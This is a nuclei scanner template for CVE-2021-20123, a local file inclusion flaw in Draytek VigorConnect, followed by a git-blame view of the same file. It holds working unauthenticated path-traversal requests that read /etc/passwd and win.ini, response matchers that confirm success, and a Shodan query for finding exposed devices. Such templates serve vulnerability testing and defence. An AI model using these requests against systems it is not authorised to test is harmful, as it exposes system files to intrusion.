nuclei-templates/http/cves/2021/CVE-2021-20123.yaml

id: CVE-2021-20123

info:
  name: Draytek VigorConnect 1.6.0-B - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: |
    Draytek VigorConnect 1.6.0-B3 is susceptible to local file inclusion in the file download functionality of the DownloadFileServlet endpoint. An unauthenticated attacker could leverage this vulnerability to download arbitrary files from the underlying operating system with root privileges.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the LFI vulnerability in Draytek VigorConnect 1.6.0-B.
  reference:
    - https://www.tenable.com/security/research/tra-2021-42
    - https://nvd.nist.gov/vuln/detail/CVE-2021-20123
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-20123
    cwe-id: CWE-22
    epss-score: 0.03116
    epss-percentile: 0.90017
    cpe: cpe:2.3:a:draytek:vigorconnect:1.6.0:beta3:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: draytek
    product: vigorconnect
    shodan-query: http.html:"VigorConnect"
  tags: cve,cve2021,draytek,lfi,vigorconnect,tenable

http:
  - method: GET
    path:
      - "{{BaseURL}}/ACSServer/DownloadFileServlet?show_file_name=../../../../../../etc/passwd&type=uploadfile&path=anything"
      - "{{BaseURL}}/ACSServer/DownloadFileServlet?show_file_name=../../../../../../windows/win.ini&type=uploadfile&path=anything"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "application/octet-stream"

      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
          - "for 16-bit app support"
        condition: or

      - type: status
        status:
          - 200

# digest: 490a00463044022005eb6b5bb69829db0c53caf4fa9a3ae300c58d9aa3228faea550fb66810937e80220637fd60a00eaa59bdb062047a71ae0cc00ce9ef4c44cd1c583f4298a5f806be2:922c64590222798bb761d5b6d8e72950
Create CVE-2021-20123.yaml 2022-05-13 09:07:21 +00:00			`id: CVE-2021-20123`

			`info:`
Enhancement: cves/2021/CVE-2021-20123.yaml by mp 2022-06-27 18:09:57 +00:00			`name: Draytek VigorConnect 1.6.0-B - Local File Inclusion`
Create CVE-2021-20123.yaml 2022-05-13 09:07:21 +00:00			`author: 0x_Akoko`
			`severity: high`
Update and rename CVE-2021-20123.yaml to cves/2021/CVE-2021-20123.yaml 2022-05-13 09:55:01 +00:00			`description: \|`
Enhancement: cves/2021/CVE-2021-20123.yaml by mp 2022-06-27 18:27:11 +00:00			`Draytek VigorConnect 1.6.0-B3 is susceptible to local file inclusion in the file download functionality of the DownloadFileServlet endpoint. An unauthenticated attacker could leverage this vulnerability to download arbitrary files from the underlying operating system with root privileges.`
Updated 2021 CVEs 2023-09-06 12:09:01 +00:00			`remediation: \|`
			`Apply the latest security patches or updates provided by the vendor to fix the LFI vulnerability in Draytek VigorConnect 1.6.0-B.`
Create CVE-2021-20123.yaml 2022-05-13 09:07:21 +00:00			`reference:`
			`- https://www.tenable.com/security/research/tra-2021-42`
Enhancement: cves/2021/CVE-2021-20123.yaml by mp 2022-06-27 18:09:57 +00:00			`- https://nvd.nist.gov/vuln/detail/CVE-2021-20123`
Create CVE-2021-20123.yaml 2022-05-13 09:07:21 +00:00			`classification:`
additional reference to cves templates (#4395) * additional reference to cves templates * Update CVE-2006-1681.yaml * Update CVE-2009-3318.yaml * Update CVE-2009-4223.yaml * Update CVE-2010-0942.yaml * Update CVE-2010-0944.yaml * Update CVE-2010-0972.yaml * Update CVE-2010-1304.yaml * Update CVE-2010-1308.yaml * Update CVE-2010-1313.yaml * Update CVE-2010-1461.yaml * Update CVE-2010-1470.yaml * Update CVE-2010-1471.yaml * Update CVE-2010-1472.yaml * Update CVE-2010-1474.yaml * removed duplicate references * misc fix Co-authored-by: Prince Chaddha <prince@projectdiscovery.io> Co-authored-by: Prince Chaddha <cyberbossprince@gmail.com> 2022-05-17 09:18:12 +00:00			`cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`
Create CVE-2021-20123.yaml 2022-05-13 09:07:21 +00:00			`cvss-score: 7.5`
			`cve-id: CVE-2021-20123`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00			`cwe-id: CWE-22`
TemplateMan Update [Mon Nov 27 09:19:41 UTC 2023] :robot: 2023-11-27 09:19:41 +00:00			`epss-score: 0.03116`
			`epss-percentile: 0.90017`
Updated 2021 CVEs 2023-09-06 12:09:01 +00:00			`cpe: cpe:2.3:a:draytek:vigorconnect:1.6.0:beta3::::::`
Update and rename CVE-2021-20123.yaml to cves/2021/CVE-2021-20123.yaml 2022-05-13 09:55:01 +00:00			`metadata:`
boolean format update 2023-06-04 08:13:42 +00:00			`verified: true`
Updated 2021 CVEs 2023-09-06 12:09:01 +00:00			`max-request: 2`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00			`vendor: draytek`
			`product: vigorconnect`
Updated 2021 CVEs 2023-09-06 12:09:01 +00:00			`shodan-query: http.html:"VigorConnect"`
Auto Generated CVE annotations [Sat Aug 27 04:41:18 UTC 2022] :robot: 2022-08-27 04:41:18 +00:00			`tags: cve,cve2021,draytek,lfi,vigorconnect,tenable`
Create CVE-2021-20123.yaml 2022-05-13 09:07:21 +00:00
Refactoring the directory structure based on protocols (#7137) * moving http templates * updated cves.json * moved network CVEs * updated scripts * updated workflows * updated requests to http * replaced network to tcp --------- Co-authored-by: sandeep <8293321+ehsandeep@users.noreply.github.com> 2023-04-27 04:28:59 +00:00			`http:`
Create CVE-2021-20123.yaml 2022-05-13 09:07:21 +00:00			`- method: GET`
			`path:`
			`- "{{BaseURL}}/ACSServer/DownloadFileServlet?show_file_name=../../../../../../etc/passwd&type=uploadfile&path=anything"`
			`- "{{BaseURL}}/ACSServer/DownloadFileServlet?show_file_name=../../../../../../windows/win.ini&type=uploadfile&path=anything"`

Update and rename CVE-2021-20123.yaml to cves/2021/CVE-2021-20123.yaml 2022-05-13 09:55:01 +00:00			`stop-at-first-match: true`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00
Create CVE-2021-20123.yaml 2022-05-13 09:07:21 +00:00			`matchers-condition: and`
			`matchers:`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00			`- type: word`
			`part: header`
			`words:`
			`- "application/octet-stream"`
Update CVE-2021-20123.yaml 2022-06-28 03:01:14 +00:00
Create CVE-2021-20123.yaml 2022-05-13 09:07:21 +00:00			`- type: regex`
Update CVE-2021-20123.yaml 2022-06-28 03:01:14 +00:00			`part: body`
Create CVE-2021-20123.yaml 2022-05-13 09:07:21 +00:00			`regex:`
			`- "root:.*:0:0:"`
			`- "for 16-bit app support"`
			`condition: or`

			`- type: status`
			`status:`
			`- 200`
TemplateMan Update [Thu Nov 23 07:42:51 UTC 2023] :robot: 2023-11-23 07:42:52 +00:00
			`# digest: 490a00463044022005eb6b5bb69829db0c53caf4fa9a3ae300c58d9aa3228faea550fb66810937e80220637fd60a00eaa59bdb062047a71ae0cc00ce9ef4c44cd1c583f4298a5f806be2:922c64590222798bb761d5b6d8e72950`